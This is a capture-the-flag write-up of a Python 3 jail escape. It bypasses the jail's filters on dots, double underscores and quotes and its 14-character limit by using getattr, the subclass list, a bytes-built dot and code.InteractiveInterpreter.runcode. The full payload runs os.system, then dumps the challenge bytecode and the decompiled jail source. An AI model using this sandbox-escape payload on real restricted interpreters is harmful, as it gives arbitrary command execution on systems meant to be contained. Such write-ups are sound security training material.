Description

A guy from FBI found about your Ruby programming activities and has put you inside a python Jail ! Find your way out!
ssh -i -p 2222 user@hell-of-a-jail.ctf.insecurity-insa.fr
To find your keyfile, look into your profile on this website.
Category: pwn

Analysis

Once we connect through ssh, we see the following:

So it’s a Python jail. We’re told to call exit with the right key, if we pass as an argument something random, we get the following error:

>>> exit('a')
Wrong key

The usual Python functions and classes are banned. No int, ord, str, eval, exec
So is the __import__ class and anything related to direct calls to __builtins__.

There are some banned characters, such as the period (.), the double underscore (__) and the double quotes ("). Besides, each command is limited to 14 characters.

Here we have a GitHub repository with some useful information. Specially, the Python Jails section, which contains some functions that are used in these situations. All of them are banned except for getattr(a, b).

Procedure

The general procedure to break free consists in the following steps:
-1. Get an instance of a class. Any will do. {} is commonly used, which is an object of the dict class.
-2. Get the reference of that class using the __class__ property.
-3. “Elevate” to the object class using the __base__ property.
-4. Go down to the __subclasses__() method, which returns a list with references to all the standard classes of the language.
-5. Create an instance of a class which has some potential. file is a common one, which lets you, obviously, read any file of the system. However, warning.catch_warnings is also used, which is more interesting: it has a _module property that is a reference to the whole module, so it’s possible to get the reference to __builtins__, import any module, and end the challenge.

However, the procedure above only works on Python 2.7. This challenge was made in Python 3, and neither file nor warning.catch_warnings are in the list that __subclasses__() returns.

Skimming through the list, one class catched my eye: code.InteractiveInterpreter (last element, index -1). Trying it on local shows a method named runcode, which behaves exactly like exec.

At this point it’s clear what we want to do:

{}.__class__.__base__.__subclasses__()[-1]().runcode(something)

However, we don’t have either the period, the double underscore, and we’re limited by 14 chars.

As said in the Analysis section, we have getattr(a, b), where a is an instance, b is a string, the method returns the reference to a.b. With this, we have sorted by now the period issue.

The double underscore isn’t a problem, as, in Python, '_' == '_''_'. And we can manage around the 14 characters limit. It won’t be a problem because a=getattr(c,d) is exactly 14 bytes long.

So, in a nutshell, what we want to try is the following

{}.__class__.__base__.__subclasses__()[-1]().runcode('import os')

I tried it, and worked. It didn’t print out any error, so the import must had executed. Then I tried os, but it failed, because the import of runcode is local. With that in mind, I ran the same code above but changing the last part to:

import os; os.system('ls')

It failed, because of the period following os. The only thing left to do was to get that dot by any means.

One of the classes shown in __subclasses__() was bytes (index 6), so what I ended up doing was, in summary, the following:

{}.__class__.__base__.__subclasses__()[6]([46]).decode('ascii')

Where 46 is the ASCII code for the dot. That way I could append it to the string that I would later pass to runcode.

This is the payload so far:

# 'a': list of references to global classes.
a={}
b='_''_class_'
b+='_'
a=getattr(a,b)

b='_''_base_'
b+='_'
a=getattr(a,b)

b='_''_subcla'
b+='sses_''_'
a=getattr(a,b)
a=a()

# 'z': string with a dot
z=a[6]
z=z([46])
y='decode'
z=getattr(z,y)
z=z('ascii')

# Create an instance of 'code.InteractiveInterpreter'.
a=a[-1]()
b='runcode'
a=getattr(a,b)

# 'i': bash script to run.
i='ls'

# 'j': Python code to evaluate.
j='import os;'
j+='os'+z+'sy'
j+='stem(\''+i
j+='\')'

# Go!
a(j)

The result was the following:

Which is quite nice. As it’s a pyc file, I couldn’t just cat it, so I prayed for base64 to be in the system, and ran:

cat jail.pyc | base64

It was installed and the file was printed out. I copied it, decoded it, decompiled it, and the source of the challenge was the following:

"""Unobfuscated source for Hell of a jaill."""
import os, sys, code, signal

def handler(signum, frame):
    """Handling SIGSTOP"""
    pass


def user_input(arg):
    """Filter input."""
    s = input('>>> ')
    s = s[:14]
    if '"' in s:
        s = "print('TROLLED !!!!'*1000)"
    s = s.replace('__', '')
    s = s.replace('.', '')
    return s


def exit(arg):
    """Must invoke with the right arg in order to get the flag."""
    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
        print('Oh no ! You managed to escape\nValidate with the key')
        return sys.exit(0)
    print('Wrong key')


def sandbox():
    """PyJail sandbox."""
    scope = {'__builtins__': {'exit':exit,  'getattr':getattr,  'print':print}}
    banner = 'Oh my jail ! You need to exit() with the correct key.\nIt might make you free (and give you the flag)'
    exit_msg = 'No shell through this...'
    signal.signal(signal.SIGTSTP, handler)
    while True:
        try:
            code.interact(banner, user_input, scope, exit_msg)
        except SystemExit:
            sys.exit(0)


sandbox()

So the flag is in that environment variable called 0f4d0db3668dd58cabb9eb409657eaa8.

I modified my code to print it out, and the flag appeared:

Leave a comment

Your email address will not be published. Required fields are marked *